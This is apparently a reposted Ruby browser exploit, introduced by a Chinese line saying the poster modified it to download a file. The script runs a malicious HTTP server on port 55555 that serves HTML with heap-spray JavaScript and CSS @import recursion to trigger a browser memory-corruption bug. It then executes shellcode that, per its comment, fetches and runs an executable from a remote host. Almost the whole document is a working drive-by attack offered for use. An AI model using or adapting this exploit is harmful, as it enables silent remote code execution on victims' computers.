原内容不是我发明的,我只是改了一下,改成下载的了
#!/usr/bin/env ruby
# Author: Nephi Johnson (d0c_s4vage)
require 'socket'
def http_send(sock, data, opts={})
defaults = {:code=>"200", :message=>"OK", :type=>"text/html"}
opts = defaults.merge(opts)
code = opts[:code]
message = opts[:message]
type = opts[:type]
to_send = "HTTP/1.1 #{code} #{message}
" +
"Date: Sat, 11 Dec 2010 14:20:23 GMT
" +
"Cache-Control: no-cache
" +
"Content-Type: #{type}
" +
"Pragma: no-cache
" +
"Content-Length: #{data.length}
" +
"#{data}"
puts "[+] Sending:"
to_send.split("
").each do |line|
puts " #{line}"
end
sock.write(to_send) rescue return false
return true
end
def sock_read(sock, out_str, timeout=5)
begin
if Kernel.select([sock],[],[],timeout)
out_str.replace(sock.recv(1024))
puts "[+] Received:"
out_str.split("
").each do |line|
puts " #{line}"
end
else
sock.close
return false
end
rescue Exception => ex
return false
end
end
def to_uni(str)
res = ""
str.each_byte do |b|
res << "x00#{b.chr}"
end
res
end
@css_name = "x00sx03sx00sx03sx00sx03sx00sx03s"
@html_name = "testxxx.html"
placeholder = "a" * (@css_name.length/2)
@html = <<-HTML
<script>
function dup_str(str, length) {
var res = str;
while(res.length < length) {
res += res;
}
res = res.substr(res.length – length);
return res;
}
function to_bin(str) {
var res = "";
while(str.length > 0) {
var first = str.substr(0, 2);
var second = str.substr(2, 2);
res += "%u" + second + first;
str = (str.length > 4) ? str.substr(4) : "";
}
return unescape(res);
}
// first heap spray
var base = dup_str(to_bin("0c0c0c0900000008000000730073030100000000010000730073030c"), 512+6);
var arr = []
for(var i = 0; i < 60000; i++) {
arr[i] = ["" + base].join("");
}
// second heap spray w/ shellcode
var nops = dup_str(to_bin("0c0c0c0c"), 4096+6);
// windows/exec – 200 bytes
// http://www.myhack58.com
// EXITFUNC=process, url=http://192.168.1.3/calc.exe
var shellcode = unescape("%u10eb%u4a5a%uc933%ub966%u013c%u3480%u990a%ufae2%u05eb%uebe8%uffff%u70ff%u994c%u9999%ufdc3%ua938%u9999%u1299%u95d9%ue912%u3485%ud912%u1291%u1241%ua5ea%ued12%ue187%u6a9a%ue712%u9ab9%u1262%u8dd7%u74aa%ucecf%u12c8%u9aa6%u1262%uf36b%uc097%u3f6a%u91ed%uc6c0%u5e1a%udc9d%u707b%uc6c0%u12c7%u1254%ubddf%u5a9a%u7848%u589a%u50aa%u12ff%u1291%u85df%u5a9a%u7858%u9a9b%u1258%u9a99%u125a%u1263%u1a6e%u975f%u4912%u9df3%u71c0%u99c9%u9999%u5f1a%ucb94%u66cf%u65ce%u12c3%uf341%uc098%ua471%u9999%u1a99%u8a5f%udfcf%ua719%uec19%u1963%u19af%u1ac7%ub975%u4512%ub9f3%u66ca%u75ce%u9d5e%uc59a%ub7f8%u5efc%u9add%ue19d%u99fc%uaa99%uc959%ucac9%uc9cf%uce66%u1265%uc945%u66ca%u69ce%u66c9%u6dce%u59aa%u1c35%uec59%uc860%ucfcb%u66ca%uc34b%u32c0%u777b%u59aa%u715a%u66bf%u6666%ufcde%uc9ed%uf6eb%ud8fa%ufdfd%ufceb%ueaea%ude99%uedfc%ue0ca%uedea%uf4fc%uf0dd%ufceb%uedfa%uebf6%ud8e0%uce99%uf7f0%ue1dc%ufafc%udc99%uf0e1%ucded%uebf1%uf8fc%u99fd%uf6d5%ufdf8%uf0d5%uebfb%uebf8%ud8e0%uec99%uf5eb%uf6f4%u99f7%ucbcc%uddd5%ueef6%uf5f7%uf8f6%ucdfd%udff6%uf5f0%ud8fc%u6899%u7474%u3a70%u2f2f%u3931%u2e32%u3631%u2e38%u2e31%u2f33%u6163%u636c%u652e%u6578%u4180");
var arr2 = [];
for(var i = 0; i < 30000; i++) {
arr2[i] = [nops + shellcode].join("");
}
// write the link to the stylesheet
var link = document.createElement("link");
link.setAttribute("rel", "Stylesheet");
link.setAttribute("type", "text/css");
link.setAttribute("href", "#{placeholder}")
document.getElementsByTagName("head")[0].appendChild(link);
</script>
HTML
@html = "xfexff" + to_uni(@html)
@html.gsub!(to_uni(placeholder), @css_name)
# aFile = File.new("C:\1.txt","wb")
# aFile.puts @html
#aFile.close
@css = <<-CSS
@import url("#{placeholder}");
@import url("#{placeholder}");
@import url("#{placeholder}");
@import url("#{placeholder}");
CSS
@css = "xfexff" + to_uni(@css)
@css.gsub!(to_uni(placeholder), @css_name)
@index = <<-INDEX
<a href="#{@html_name}">#{@html_name}</a>
INDEX
TCPServer.open(55555) do |srv|
while true
cli = srv.accept
req = ""
html = ""
css = ""
index = ""
next unless sock_read(cli, req, 5)
while req.length > 0
if req =~ /GET/
if req =~ /GET.*#{Regexp.escape(@html_name)}/
break unless http_send(cli, @html, :type=>"text/html")
elsif req =~ /GET.*index/
break unless http_send(cli, @index)
elsif req =~ /GET.*#{Regexp.escape(@css_name)}/
break unless http_send(cli, @css, :type=>"text/css")
else
break unless http_send(cli, @css, :type=>"text/css")
end
elsif req =~ /QUIT/
exit()
end
req = ""
next unless sock_read(cli, req, 5)
end
cli.close rescue next
end
end